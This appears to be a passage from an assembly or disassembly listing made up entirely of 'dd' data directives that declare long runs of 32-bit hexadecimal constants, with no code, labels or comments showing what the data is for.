		dd 571CE83Eh, 722AFA4Dh, 0D3C9AA93h, 0C1EE0D89h, 4B68CFB2h
		dd 0ADA2438Fh, 4D26D07h, 12140496h, 2C27DED6h, 5CD6B715h
		dd 548BB502h, 7CC5625Bh, 8276EA45h, 5D17F2D8h, 998ED77h
		dd 410C0F9Eh, 0ED5BACDEh, 5DFC06EDh, 6F99DF37h,	0B2A2ABB3h
		dd 2257E9C3h, 59393F48h, 0A27A10B2h, 0F4D558E7h, 0AC9A8079h
		dd 5F69A495h, 6AB41985h, 611A7720h, 0FBF5E34h, 0E62FEF9Eh
		dd 1A35F7A4h, 0CA95A2BBh, 0CC7E5D7h, 58E0EB52h,	3E96A79Ah
		dd 0EA7AAAB4h, 3A96BBD2h, 0F25DB4C4h, 2BAD6F57h, 5A7CD15Eh
		dd 965769D5h, 99AD4ACFh, 77EFDA6Ah, 4307789Eh, 0B2612C9h
		dd 9505FF6Ch, 0A977829Eh, 68DBF1A2h, 4A878112h,	0AD4636BBh
		dd 59022C67h, 926302B4h, 6F669D9Bh, 0CA81B6DFh,	35607DB8h
		dd 69969471h, 388B0E95h, 7B472A1Eh, 72782F5Eh, 3372BBD6h
		dd 3BCCFE61h, 9BDB9C8Bh, 2AAF9F14h, 8112B793h, 746C4A17h
		dd 19AAED3Dh, 0D1EDC3C5h, 0DD546A0h, 0C0611EE8h, 0FEB48363h
		dd 0D4AD25AAh, 6F94E6DEh, 0DABE7341h, 288EAB65h, 0A18EA5A3h
		dd 0E5AA02BFh, 0EE85AB48h, 0DAAB4636h, 0D632FEC2h, 6AD7C79Ah
		dd 1BF7B9E0h, 0F3DD34EAh, 0FDA3B39Eh, 0DC65703Dh, 8359277Ch
		dd 554C27CDh, 0A4C9050Bh, 0A2E0C9BEh, 8E7971E3h, 0D12FC75Fh
		dd 7F353CE5h, 0A3157486h, 2BDD763Eh, 0F581E140h, 0E77BFC6Ah
		dd 0DE4DB397h, 0A9686860h, 93B5378Fh, 7CEBC862h, 0CE333867h
		dd 3E69DCA4h, 57B7445h,	0DF362B45h, 3B6DF489h, 2F291D48h
		dd 3C4E180Bh, 38DBC34Dh, 996BE8FFh, 0ECF812B7h,	0B9E9B824h
		dd 6371EEACh, 18D59E33h, 0C615AEA3h, 0BAE3D633h, 0AEF7B272h
		dd 0F0981E47h, 97F39EFAh, 17F446C9h, 0F0A7F0FCh, 442BF61Dh
		dd 7D2D2DA3h, 9309A9C9h, 1DC2C4DAh, 0C9786497h,	419B03FBh
		dd 0A3D96DD7h, 51748CC9h, 0C4BC95CDh, 6372A768h, 0ADCAEC76h
		dd 279A6A3Dh, 3577619Bh, 0C190DC3Dh, 8842306Bh,	0FCB093BAh
		dd 89B1BEB0h, 631D7100h, 9E9177D8h, 0CDAB56EBh,	96E5DCB7h
		dd 0EF053703h, 0D3A4756Dh, 0E11D749h, 62DFF55Fh, 0F8BC413Bh
		dd 7CB04AE3h, 3223719Fh, 5FA858B9h, 0B50CC93Eh,	0DEB2A221h
		dd 0F2B9619Dh, 0D6D99D5Ch, 3F95EB66h, 0EE78C7A3h, 7E5994Fh
		dd 9FF68DE9h, 0FC694423h, 0F506F667h, 0D33592F8h, 9AAD8552h
		dd 6D30FC3Ch, 0E7E626F9h, 3C63EB30h, 8A1D1EC0h,	19A8DA26h
		dd 8BF78B14h, 0C143C9EFh, 1BF614DAh, 0DD7F860Dh, 0ADF36A2h
		dd 0B069F5B9h, 2A560C36h, 0ECDB1398h, 0BD6749CBh, 700C7ECFh
		dd 51138EDCh, 4AE4A188h, 0AB561BBCh, 6C9798BBh,	0B7423AA0h
		dd 63789705h, 2CAFEE1Fh, 80933D06h, 0DBCE12BFh,	9A8DE0BEh
		dd 57BBD997h, 29CD851Fh, 1E95330Ch, 0D9A5A2BBh,	50F1B83Fh
		dd 165DED03h, 0D633781Dh, 0F482E4AEh, 98F98B8Dh, 80AD134Ch
		dd 2C3BCA58h, 217877E9h, 51AF98CCh, 5BBBC88Bh, 58647419h
		dd 779832Ch, 0D50AE39Bh, 0D6A2757Bh, 965E4F32h,	47B89963h
		dd 78C0BCB3h, 0B91BFABEh, 68557B45h, 0CF05CAA0h, 0BFDF2D99h
		dd 0B5F0ECCAh, 179812CBh, 0B81737C1h, 0A3DC84CFh, 0AD7705F3h
		dd 0EFCFB47Ah, 9D5C804Fh, 2C6D6380h, 0ACE91B9Fh, 14C0FF49h
		dd 0C829EF95h, 0D63AF8FFh, 5536F2A8h, 9DFCD22Ah, 5B367A21h
		dd 13EB00EEh, 0C613C1F4h, 5270BCBBh, 796A2E2Fh,	796D5DFBh
		dd 61967721h, 0F8CE2F71h, 0DCCD6779h, 96D4DB6Dh, 1BAE6F4Bh
		dd 1DC1E5C6h, 1A3126ADh, 0FA577A28h, 0DF1FB850h, 70FB28D8h
		dd 3AA67572h, 76CB5714h, 800B2AA2h, 0CDC4EC2Fh,	0A62B7196h
		dd 0E4A933E0h, 15A67CB1h, 145FABBDh, 0A316DCC2h, 1D16AEA6h
		dd 85AD9AA1h, 167FF069h, 9EB62D13h, 3D4029F1h, 256A029Dh
		dd 0B5DCEAAh, 0E45CFAA5h, 0A3B9D8Dh, 54D8BA3Ch,	36725E9Bh
		dd 51A86AACh, 86E5329h,	0CAF72DD0h, 0D28F4EDBh,	158BA9CFh
		dd 0A65226Bh, 0B7DCAAA4h, 411E7D27h, 8539095Ch,	310C1F0Ah
		dd 2812BE8Eh, 4A8886A8h, 0AC160EA2h, 0B1DCB15Dh, 0FE0B4DB4h
		dd 0CEA23790h, 0A558AD97h, 0F6993DD8h, 5B4157FAh, 31ABF735h
		dd 0C433FDDAh, 90E41E6Eh, 0B0FDBE1Ch, 0ED79E6A4h, 7E49E178h
		dd 353FEFDh, 0AD8B5EA6h, 7D6AF2EFh, 0D1D3E872h,	0B02EF8AFh
		dd 381F845Fh, 0AB4E7717h, 8BAEDFB5h, 5B594CE3h,	5C3176E0h
		dd 48F7D625h, 5927206Dh, 0DFDEBD47h, 54F149E6h,	121F88B3h
		dd 0C19F1107h, 41DBE1B2h
		dd 0FBF0B872h, 5BA6440Bh, 7771AB52h, 0F311F2BFh, 0AAC62DB5h
		dd 99F1B03Ch, 0B34539FCh, 9AFF0E1Fh, 0D3C9146Bh, 4CE06156h
		dd 0E2B15625h, 1151C898h, 0B2EF7227h, 5AE8FEF6h, 6A802B58h
		dd 0CC4EDDBEh, 0EEB9D7E3h, 7A9DE8D9h, 1DDF565Eh, 6234727Dh
		dd 0A2D199B5h, 0DE3D0146h, 271955ABh, 1CB4E1A5h, 507843BFh
		dd 810ADA2Bh, 280AE770h, 0B4DDDB08h, 4660C973h,	3B9508DAh
		dd 0B7C9BDB7h, 61240BEAh, 26B5954Fh, 0F4B3D992h, 0E0D03878h
		dd 1E69399Ch, 26B854E4h, 0CBD11927h, 0FED2ED8Ch, 0BACE49CDh
		dd 0D6AAB97Eh, 0A3729CB8h, 0B60ED8E8h, 8E4DF87Eh, 4F14AE3Ah
		dd 0F9BB7DCDh, 0BFF968D4h, 69C2C3C5h, 0A21EEAE4h, 82622618h
		dd 1F8F0F53h, 0FD843ADBh, 0F55790E1h, 4540C4BBh, 0EC2D79E8h
		dd 8AE39B74h, 1DFE92EBh, 0A52B3B0Bh, 0ECEEA51Bh, 2FCC840Dh
		dd 71F8BB45h, 0A79F30A6h, 2BC5C5ABh, 0ABD7A429h, 1067BBDFh
		dd 0D75CC533h, 3E2A3739h, 0F7444EAAh, 686D199Eh, 0C707E333h
		dd 0FD018FEFh, 0BEBDDF3Eh, 0C9E00ED5h, 97543594h, 0A131DC49h
		dd 8051EF0Eh, 0AC196B38h, 0BFBFB2B5h, 51D898CBh, 3765D2E5h
		dd 0F58BFCA2h, 7D5F6AB0h, 5911F1F6h, 1F076F2Fh,	657FCB4Ah
		dd 3B135AAAh, 6BE2EC99h, 0FB7F0E2Bh, 0A7DE1F82h, 0DDAA1398h
		dd 0BF828606h, 1BE9D2B5h, 0B499B5B7h, 0E13DAABAh, 8765F62Eh
		dd 0BD00878Eh, 70D5565Dh, 0CA5E2C10h, 72F6091Ch, 77E2F989h
		dd 7AF819FAh, 4F0C353Ch, 78F91DA0h, 0B96D8433h,	0EB450759h
		dd 0C49972C9h, 325A37EFh, 0BEA89681h, 0F603A6BBh, 0F55B14DCh
		dd 0C29B6ECCh, 0C3F0992Dh, 0BC527E5h, 0CEEB8434h, 13FAE6EEh
		dd 0CCBAC896h, 26A10471h, 5DB4FA58h, 7E372FB1h,	5DE11A4Bh
		dd 0E8E0E775h, 556E1C1Dh, 4873CDEAh, 0BF55E06Eh, 0D28947CEh
		dd 2253FC05h, 0F07C4D06h, 360BDBC8h, 2EDF77E1h,	55E8E0FDh
		dd 41745262h, 0D365574Dh, 14D1A891h, 636ABECDh,	0C6C2F8E0h
		dd 26038D62h, 51C1E046h, 703C8BADh, 466B5F1Eh, 499D5799h
		dd 0A057111Bh, 57A778D5h, 2BDE30A1h, 0FE5C12F5h, 0AB9CB14Eh
		dd 0DABD76D7h, 9F7CBBCBh, 8B896766h, 6B595439h,	0BA9C88A6h
		dd 0A0AA3BDCh, 0CBEC2D74h, 84B736F7h, 772C584Ch, 370FFC80h
		dd 0D99E534Dh, 477E3BFh, 0E5ABFDA8h, 1F888379h,	9E691BBAh
		dd 0CD98103Dh, 0AC8BF7D1h, 68361A4Bh, 0FF03A66Ah, 0CAB15B2h
		dd 89A62EF9h, 4722B58Bh, 53A1C1B1h, 0FAD13F85h,	2DAF07EDh
		dd 0C2A7BD63h, 0F243F13Ch, 0E8A072F6h, 7322F3DDh, 0B6026F7Ah
		dd 24A429CFh, 99446A59h, 5A16CF6h, 2CE97F46h, 13B6A7D1h
		dd 0F1909CA3h, 72AD12A5h, 0FA49AC12h, 874134ABh, 5A3679DDh
		dd 0EE1DD236h, 0F82CF47Bh, 0AAB11D32h, 964987CAh, 3F3287B9h
		dd 834FDEA6h, 5A3C506Bh, 0EC581D38h, 1C9A35B6h,	0BA5FF103h
		dd 8545D562h, 0DA975215h, 4D4D47A3h, 37725682h,	2B8143FFh
		dd 3037BEA4h, 0BD085CFAh, 56198A88h, 44A4CA05h,	0F15D67F3h
		dd 0B4E0FBDFh, 479B4944h, 5AC6C0F1h, 0A7B9BD2Ch, 41AA2FACh
		dd 0D52BB2B9h, 897C68F9h, 0D77C5A4Ch, 6555DAF8h, 0C2D920EFh
		dd 0BF5F650Ah, 0D6778AD5h, 49B4E3BFh, 4EC19B8Dh, 9CBA7A5Dh
		dd 0AC15A09Eh, 0A61B51ACh, 0B679F2B6h, 493F45F9h, 33E97E9Fh
		dd 2AD18747h, 878FFF17h, 0E0CC73D5h, 689379A7h,	6F282491h
		dd 6FB8104Eh, 0D45B49D5h, 0AD66030Dh, 0D8B7AC7Dh, 720D7EBBh
		dd 0D1A91975h, 0EA7B63E7h, 50E5408h, 6B620D36h,	991C0F83h
		dd 7341AD2Bh, 0E4E8EAD5h, 0C1D82E57h, 9036BF3Bh, 0D43F19DEh
		dd 0C02806D5h, 0AE234F26h, 7859A87Bh, 0B5960B46h, 7FF1C5AEh
		dd 56032323h, 83DB4A42h, 0F28FAC3Fh, 1C507099h,	47A7BF97h
		dd 0F8553694h, 67E8CBCFh, 0BB57A4D4h, 0BDEC444Fh, 0D5EEE0FAh
		dd 39FF9D64h, 0CD414B07h, 48CB3465h, 0DD90FE3Ch, 5A6065E1h
		dd 4A95912Ch, 51196667h, 17157DCFh, 5BECA929h, 5FF4968Bh
		dd 3CDB0763h, 79B49F79h, 3BEA3A9Eh, 0B8AEC6CFh,	0F0030E4Ch
		dd 26C39F57h, 0C2C1A76Ah, 0B1E095EAh, 28AC9CA7h, 0E64B7535h
		dd 0C3CE8077h, 31E5E32h, 52A3ED5Dh, 0B4C021A6h,	66955D2Ah
		dd 0F8E676D1h, 0CFD568ECh, 0ABB43936h, 8A51AA8Dh, 7237397Bh
		dd 0C2362952h, 0D713076Dh, 3E815763h, 0A4756EC3h, 13058C4Eh
		dd 0D55630EDh, 0E6C656E7h, 85448DC3h, 0F03895DDh, 192978Bh
		dd 95F60EF7h, 0A5DDCA55h, 7246ACC5h, 7AABED4Ah,	78F29A5Ch
		dd 6D495551h, 0B6C9DEF4h, 12E2E6AAh, 7EBE17CDh,	53EB254Eh
		dd 265D2576h, 906A43BAh, 1A65EFFh, 5D5FF959h, 241D5143h
		dd 0F8564E63h, 667ED02Fh, 0AE6B4057h, 45024A7Fh, 584B0B38h
		dd 12CBD5B7h, 4741CE18h, 0F6DC094Ch, 1C58B637h,	0A5C822EBh
		dd 8B46C558h, 703EA86Fh, 8FB7F402h, 0DE940AA4h,	0FBD6F4CFh
		dd 6D615E0Ch, 0AB7DD6BCh, 3D4BD2C2h, 0AEB2662Bh, 990C7650h
		dd 341D433Ch, 0DC0F1361h, 17F57C1Eh, 36A9D7BEh,	0FBA0968h
		dd 0F41BA9C3h, 215399A3h, 0EA966782h, 9D3DD765h, 1695A17Ch
		dd 1251995Fh, 0CBEFC089h, 0F2ECD750h, 41B75CD7h, 61A359FAh
		dd 74F3B81Ah, 587E20E2h, 0FA66B3B3h, 0D1FCD8E0h, 2A28D688h
		dd 255578A9h, 0AB70FC27h, 7F94D98Dh, 687384D2h,	0AFE3A37Dh
		dd 60E059A2h, 0EC010707h, 0CD0E039Eh, 5F0E16B8h, 85629A3Ch
		dd 0C078C204h, 1522381Fh, 0B72FFBA1h, 0A53CDB69h, 16D52C3Ch
		dd 9B9D457Fh, 9D8934FEh, 0A6BBD6C9h, 60909AB5h,	0C8D98ABh
		dd 8BB6EC05h, 4FC1EBD8h, 57717128h, 381F37F7h, 0EC57221Fh
		dd 188F6437h, 503EB57h,	9DCC84D5h, 0C8CC419Dh, 0CCA4A2FFh
		dd 1E5B1685h, 14759F7h,	0C2DFE57h, 17059C3Fh, 89B92297h
		dd 34CB536Ah, 42D34FC6h, 0A5A4E562h, 81228BF6h,	5EFC8B70h
		dd 7D05289Fh, 56ED4331h, 250C8B4Fh, 49B39BE7h, 116F82FDh
		dd 1E08CC0Fh, 167BA2B4h, 3A9A9662h, 90AAF839h, 3F52200Ah
		dd 0EBA3EF56h, 2665CE29h, 0F68D6D25h, 0AD765C20h, 0CB261B4Ah
		dd 32F7B368h, 0EAC94FACh, 0ACF3732h, 56BAE5B2h,	0D2AF92ACh
		dd 0AFA7DB69h, 3556D89h, 55FBAAB0h, 0EA439B35h,	78B470B0h
		dd 0EA2F375Fh, 0C8FEF702h, 4437219Ch, 0AAA8D8A5h, 0FEEF9C8Dh
		dd 9A50CCB0h, 5EE3B915h, 0C576EB66h, 42529D71h,	6B965771h
		dd 0AE5DDA96h, 0AC51964Eh, 3BBD08C3h, 0D794DCC2h, 0E44B3AEDh
		dd 0E4DC2EFCh, 0CDDA1E7Dh, 6FA30F5Ah, 8A23772Fh, 4EAF76DEh
		dd 6D498E34h, 3F1DB7C8h, 895F75FCh, 543A374Fh, 0A4995C98h
		dd 9555951Bh, 0BB30DD73h, 0F83B38BAh, 0EE747377h, 7032F67Eh
		dd 0CB7BD5EBh, 0D873DA30h, 0BB52237h, 94FC488Bh, 0E1A5BED0h
		dd 43F038F5h, 0CAB2AB8Bh, 3C5247F3h, 0E4B5E145h, 86D6C18Ah
		dd 759BFB9Ch, 0BC76CD7Dh, 0B23B0554h, 0DA486BECh, 0F8DD5362h
		dd 756FF52Ch, 0EEDB1EDBh, 895796B6h, 495FBE51h,	0FC3F438Eh
		dd 0EA26523Eh, 0F0D64A0h, 0A592FD2Fh, 0FCAB9BF4h, 0D211AF89h
		dd 0DA23D356h, 8E6FF1FCh, 0FCB2184h, 0B253F83Ch, 28AAAD67h
		dd 50014B45h, 0FE8D9D71h, 0F65CE12Ah, 95DF3558h, 0B87E46AEh
		dd 5947B069h, 3F931BE7h, 5FD056DAh, 5F6D138Ch, 0FD2A9EFAh
		dd 381CA92Eh, 0C62C87DFh, 0B1FFFCC8h, 0D666155Eh, 6C60859Eh
		dd 0C6570E45h, 0B468C283h, 360F6765h, 2FFB844Ah, 7FCE4055h
		dd 6E908E7Fh, 6F183D8Dh, 0A3976955h, 0B959559Dh, 531D33C0h
		dd 0FF8952A5h, 0DF302DF8h, 0ECC11AE3h, 0EA789195h, 6E572A2Bh
		dd 0BE72278Ah, 0C981E564h
		dd 0F5F9BE73h, 5B9C3AE7h, 73305FD5h, 0A6D05BD5h, 4A73BBB0h
		dd 0E5DE1772h, 0EE50B0E6h, 4DB17128h, 0BC4F58Eh, 0FFC1F32Ch
		dd 49ACA3Fh, 0D4BC08Fh,	0E5F39DABh, 0EAA3156Ch,	2C99AC06h
		dd 43BE0FD3h, 0A962CB2Ah, 25B2F6EFh, 0D39C655Ch, 38AA934Fh
		dd 43A52C05h, 3BBB53E9h, 14CFD014h, 0FBDEBE85h,	45003939h
		dd 797D119h, 8137539Dh,	87E376DFh, 0E153CBE6h, 57CD44F1h
		dd 0CA01331Dh, 238EB589h, 1BEC4EC4h, 19DAE8F5h,	56AD1AFBh
		dd 669228E9h, 84772DF4h, 4EC17FC6h, 0EB2A6474h,	0BF79C59Bh
		dd 0F975121Bh, 9E3D489h, 1CF6DED2h, 0ACAEC5C5h,	46D166E4h
		dd 0E09549BBh, 6935766Ah, 0A3DA17F0h, 0BA57D868h, 718F3BD1h
		dd 20F677B2h, 23710509h, 4ED7CDD5h, 96689FF1h, 0DF115375h
		dd 237E2B00h, 0E56C8BF9h, 855617Bh, 13B891A2h, 791F7BF9h
		dd 6071F6E9h, 0C7D29025h, 0BBCFEAE3h, 254684A1h, 59773612h
		dd 0D775038Bh, 0DCBD0C3Ch, 0E703C1DDh, 0F58F44E4h, 6BBDF48Ah
		dd 60162877h, 2348E9D4h, 9C17565Dh, 2C767E74h, 0DA56FEB7h
		dd 1A07A73Fh, 7F12B475h, 0DA9B2D8h, 434EBA45h, 0A2AA1DB1h
		dd 986BAE93h, 0EA687D6Dh, 389AE5FDh, 0B8D1DFB6h, 0B2D113E3h
		dd 0EEA52ED5h, 31A8EE07h, 0EFC19E6Ch, 2465FCF8h, 8BE478D2h
		dd 0EC764411h, 0AB57387Eh, 23D4A84Eh, 2C4E70F1h, 743B125Ch
		dd 0FB8BEB4Eh, 568C6E88h, 6DF6BF61h, 199FE5C0h,	0A7F5E17Dh
		dd 4DB3756Eh, 8DAB91ADh, 0E7E09FE3h, 0DDF314BBh, 68A8737Eh
		dd 7CF5C01Bh, 2FCA7F58h, 9731CECEh, 57A1D2F6h, 0A6BFC9D6h
		dd 0A6C2B445h, 0A5736AC6h, 0F455C41Ch, 0E0647DD3h, 4F797F86h
		dd 0AC147D7h, 0AAFB4485h, 2D3057E9h, 13BDA4DFh,	3431D633h
		dd 87D87327h, 331AB0A4h, 0DB2C2979h, 0A0497330h, 50FC7D11h
		dd 0DF1E9B59h, 6D775A0Dh, 0AAEAAD82h, 9F2BB3BFh, 0C24968C3h
		dd 2AAC2A9Ah, 281EFA0Bh, 0EF9E369Dh, 0E1F8A168h, 0F1C9333Ch
		dd 6C0F2335h, 80F7AE36h, 549DE48Fh, 0D628D457h,	4F231AB3h
		dd 495018E9h, 0D125220Ch, 0C69459F6h, 0B1E779B1h, 0B592FE18h
		dd 32D1610Bh, 189C6B32h, 358B8AF7h, 0E12450B1h,	0BD92FC5Ch
		dd 4AA4EB4Ah, 0B01CE661h, 7812FA3Eh, 0D1F84298h, 657B1E71h
		dd 50133F74h, 0EAF9FE3Ch, 5A573D55h, 7C9DBEF8h,	0DD267308h
		dd 1E9BAEB8h, 91ABA9D5h, 67B882C1h, 36FCA367h, 0FFD0B86Fh
		dd 0D9DC8169h, 952228C7h, 0E54145E0h, 26BEC4A1h, 0F80A17BDh
		dd 56882E1h, 84569123h,	0C1216496h, 0CC9DC6BBh,	8BBC50C0h
		dd 8AD4EA0Fh, 0FB429689h, 363160FCh, 0E84ED54Dh, 8B919F7Dh
		dd 7B0E7F64h, 1A030257h, 7C234556h, 0BC4F0C73h,	17DD6D2Bh
		dd 9F05031Bh, 754F759Dh, 0C66472A0h, 7B448DA5h,	0B07676B0h
		dd 0BE272FE9h, 82FAC268h, 0FE91AB6Fh, 0B8368DAFh, 0DC62F0D7h
		dd 0A15C8420h, 0AF16DD39h, 1B86159Ch, 1FA5551Ch, 5D324910h
		dd 0E3C0492Bh, 0CDE6360Bh, 0A0CBB878h, 605EA5ABh, 3315DB66h
		dd 0F95C6D1Fh, 1F087DD2h, 0F66BEE02h, 0A639E3BAh, 0E6E7FD52h
		dd 0C12BA386h, 7072381Eh, 5733F1D9h, 8A97F94Bh,	761962E1h
		dd 235DD025h, 0A1BD57F0h, 3E7D4F5Fh, 0E4A20D73h, 2FD1DCA8h
		dd 0A037F9EFh, 91E0E6B3h, 0D59C482Fh, 0A20F89ADh, 0FD028777h
		dd 204B3ABEh, 7F5CCB6Bh, 0BFD815AFh, 655B38BFh,	208709CEh
		dd 0E960ABCDh, 54C62480h, 28B009E7h, 5F4326A0h,	0E9A37CF5h
		dd 0F4764EFEh, 0E1DD69E4h, 0A2C83FDDh, 45C14BC9h, 142F68B3h
		dd 5EB35B07h, 44D2C3A5h, 0C2654BFCh, 0EC120C06h, 415081B1h
		dd 716A82AAh, 0B2BA60FCh, 0F5157A25h, 67962F5Bh, 0AEDD397Ch
		dd 0B5A3028Dh, 2A4EEE87h, 2A5AB099h, 0DC0F8A5Fh, 6DBC7D2Bh
		dd 0C63A35F8h, 83FB9CB5h, 82B0B885h, 125FC5A4h,	0C0C78117h
		dd 0A9A4015Dh, 0B6621F8Dh, 0BB1B049Eh, 0BEBFEB2Ch, 0D0F07871h
		dd 635FBA65h, 95D7CBABh, 792D6EB3h, 71C5B258h, 96916EEEh
		dd 0BF133055h, 0CE25B56Bh, 0AD6A5637h, 68DEEC4Ah, 0C4C55FB0h
		dd 83EB26A1h, 0DA7F0D53h, 414C0C75h, 1AE39439h,	86EF3B7Ah
		dd 5E1271ACh, 54F5DD43h, 88FFA21Eh, 77537C77h, 186F82BBh
		dd 60294AEAh, 62E12DBFh, 3B8FA54Ah, 0D1B7B970h,	64E09BE0h
		dd 0AE2FE994h, 928F20D3h, 0DAF72AEDh, 0E0F7B30Bh, 688E2ABFh
		dd 47277308h, 0AD2E4115h, 0DB05EC3Eh, 8D1B772Eh, 0C5D0248Bh
		dd 0CA58EBD5h, 67FF01DDh, 0CC15557Ch, 1452AF6Eh, 74630086h
		dd 0C3F373B8h, 3360E069h, 726AA5A9h, 33FF3BBDh,	5E094AB8h
		dd 115C145Ch, 190C73Bh,	49DDC381h, 0A3A280EDh, 7240D0DDh
		dd 0E611B3D0h, 0AC0979BFh, 8B1D6871h, 4A812AEDh, 6147149Bh
		dd 45B76EF2h, 0E4EC72AEh, 53F368BFh, 6B9A21BEh,	0E557520Dh
		dd 8063B1C7h, 29EC822Ah, 9CC86150h, 0DDBB5555h,	0D16089BFh
		dd 0E97E8FBCh, 7E02A606h, 71505552h, 5133F3E8h,	7E1E2F78h
		dd 1B7CAAECh, 0F44D11ADh, 9025E191h, 0F0ECCE2Ah, 0A48B5A24h
		dd 5B29BF1Dh, 0DDB848C2h, 173B666Dh, 0D91AF268h, 5DFAD098h
		dd 58EA6A37h, 191ABC7Ah, 0D85F83D9h, 0BDCA3F0Eh, 6AB642B4h
		dd 0EC728E1Ah, 0DB4AE00Ah, 0D563B515h, 7A2DAACAh, 0BE363773h
		dd 1BA15571h, 54A85A21h, 79CAF4B5h, 0F20EE4F8h,	383E58D4h
		dd 8FA64D6Bh, 39BB887Eh, 2F152C53h, 5D20ABA9h, 0E8D64B6Dh
		dd 7975BBBBh, 1B04C13Dh, 75451CEEh, 625AFB45h, 0D791C5ECh
		dd 8834CCABh, 0ED7AA7A1h, 0EF39D02Dh, 2D1ABFA5h, 0F4AABD36h
		dd 4EBAFE45h, 0F24AA356h, 5FE0E2D1h, 6CCE441Dh,	0BC52EFA3h
		dd 0D27306B2h, 0AF5585C5h, 0C223C1h, 0E11581BAh, 0E9156525h
		dd 709A17E2h, 1F83C8DFh, 0D63395FDh, 0B92DFC95h, 0F798F311h
		dd 0D50388CDh, 0FDA49B9Fh, 0B2C59D71h, 76CCB551h, 17DEB595h
		dd 0EF9D6D2Ah, 4ED5D4FAh, 5C73C175h, 0E35961A5h, 0F815DD09h
		dd 0AC7C0F8Bh, 6894EF95h, 0FB81A3F8h, 77D6A54Ah, 875147AAh
		dd 0AD9CB47Ch, 235328FDh, 7B03F698h, 62E519B2h,	0FE6BFD2Bh
		dd 15D44B3Bh, 0DA91F784h, 93E7AD8Bh, 5DD2C040h,	954A7147h
		dd 83ED2A5Dh, 0D1448475h, 0DC764B32h, 9607365Ch, 0E395BD2h
		dd 0BB8BA921h, 8F719E42h, 0AFF624AAh, 0D395A7AAh, 7F0ED11Ah
		dd 9673EA0Fh, 0EE749C89h, 4FEDA14Fh, 5E167753h,	51C73D54h
		dd 15984FEFh, 644779D1h, 339B9D84h, 0BCB6D71h, 669C8286h
		dd 0A7EA83E9h, 0F17C3272h, 279957Ch, 1E4D4C6Fh,	86390797h
		dd 0A9ADD68h, 7753D394h, 0AB3B1337h, 0FE76B24Dh, 22636292h
		dd 207CE0FAh, 0A0CA2A26h, 1143E3B5h, 0CCEED2E7h, 0A95832h
		dd 25BED8E6h, 4B49EA2h,	45F212E7h, 0FAA47C8Ch, 5AE07D63h
		dd 0CE607BDDh, 0ACDED722h, 5FF743BCh, 0DCAD22E9h, 0A18C2370h
		dd 6DB68C5Bh, 0AA92C9ADh, 0D3A81647h, 2BF5CC12h, 11788DF8h
		dd 917E366Eh, 7D0A2C09h, 1DFCA97Bh, 0FC0CED7Bh,	164574BAh
		dd 470FAB12h, 0DFB625C1h, 0E4042E47h, 0B54DA39Bh, 85866C25h
		dd 7F25D794h, 0A16494C7h, 0D1BCD405h, 0B8E77221h, 0B7F2B87Eh
		dd 3220FA4Dh, 87D55F9Fh, 2BBBFF04h, 0A528A586h,	5EAB7916h
		dd 6E7C49B0h, 92FDB00Bh, 0E55599D2h, 0D1425FEFh, 36E2E8F8h
		dd 3C88F2B9h, 7D52E5D0h, 0FC3CDE20h, 0AFB14228h, 0E92DAF4Eh
		dd 0BDA97771h, 0A95CA060h, 8553C93Bh, 0F590D333h, 0A15B28A6h
		dd 7075A81Dh, 8E42DFF4h, 3EC9D779h, 55EE04C9h, 0FD8781F9h
		dd 7DAC9DC5h, 5563A88Ah, 1E4039FFh, 6E18209Fh, 0F450F443h
		dd 0FB920F36h, 16DCF9EAh
		dd 0DB8B60BDh, 71B28035h, 0C2E2AC01h, 6288DA0Fh, 0F3842EB5h
		dd 0DC516C59h, 0E8809E5Ah, 31375B9Bh, 441CA02Fh, 0F024ABB3h
		dd 0F26DA250h, 0BE162454h, 0FE74F959h, 9FA2EB90h, 3C08BFDAh
		dd 26E389EAh, 81DD9E8Bh, 0BAA2C5D4h, 0BAF05405h, 3EE7303Ch
		dd 5EB97A1Fh, 38BF63ADh, 6EB37981h, 671FEB57h, 29183715h
		dd 2DACFCE1h, 0FFE8CAE3h, 7B5C6C8Eh, 5A3A1B9Dh,	8E5D5872h
		dd 0E8B85D60h, 0BE4ED9ACh, 0A49B43F1h, 0D11FB349h, 37F21AEFh
		dd 86C2FD60h, 0D33A5AAFh, 0C8960B8Eh, 0AA1C9EBCh, 0FEBE5322h
		dd 0CEDA283Ah, 8B5D0EFh, 44DE2A74h, 0B86B5B23h,	9689C134h
		dd 6EF56157h, 0D26BBB38h, 0F551E12Ah, 0BAA473Ch, 11B4A9E6h
		dd 1DC00AD5h, 43B44674h, 0B188FAABh, 0B68981F9h, 1FA9573Ah
		dd 8ABADAE9h, 3AC643F0h, 0D6A26E46h, 87E7FC4Dh,	52EC3A4Fh
		dd 649F37CCh, 0D391108Ah, 3D0F506Eh, 2B730EF7h,	42DFCFB0h
		dd 0B82E8F91h, 73206BB0h, 0E7BAA382h, 70BB39FBh, 12B39E70h
		dd 0FAF9C6D8h, 475636A1h, 0F822DD46h, 8E45FC9Bh, 0CE2C7B86h
		dd 0A9D2A01Eh, 0E1FF39CBh, 4739FD93h, 93014A55h, 0E10C546Eh
		dd 6F778D55h, 53D6EC01h, 6D7EF0A5h, 58B7E71Eh, 5F65E6C3h
		dd 6887D719h, 55756156h, 8E1746B1h, 0CB1778ABh,	31302B46h
		dd 0A2DA2A66h, 14742B10h, 477C7DB3h, 9C55F64Bh,	6B30EB62h
		dd 7E0EF5DAh, 54EA364Ch, 5C1660EFh, 1FD6AA42h, 35BE5B0Fh
		dd 0C0C33D6Bh, 0AB1F9A11h, 1F55176Fh, 87697EABh, 5475D829h
		dd 2B1B9E0Fh, 0BC21BC1Ch, 85C74633h, 69E1E07Ch,	0D04EAEBBh
		dd 0A5F8C7Fh, 0FFAC9F3h, 57AB936Bh, 57A8BABDh, 1F9B6CC3h
		dd 85715B45h, 579176B0h, 0BCC06668h, 0DD0C5B4Bh, 9365D1C1h
		dd 0BBB4BCCAh, 9F856352h, 8DDCE1A9h, 9E2AA876h,	999DAC3Fh
		dd 9793C0Ah, 0F33A328Bh, 1971E960h, 7D5B1D84h, 1E02AB0Fh
		dd 0B0FE74Bh, 0E4229562h, 6BB90B99h, 8DA2C466h,	43F99DF0h
		dd 6157EE1Ah, 0ED1C89FAh, 3DBEAB2Ch, 100A33B8h,	98F3BC98h
		dd 968AF77Ah, 0A47AB4ABh, 0BD38810Bh, 0B699D661h, 7EE75C9Eh
		dd 2255B811h, 1555A252h, 6D38D840h, 57042EBDh, 7C581579h
		dd 9126D1EEh, 0F1E20F9h, 0EEA6CB4Ah, 0AAE9AA98h, 99BBF0E5h
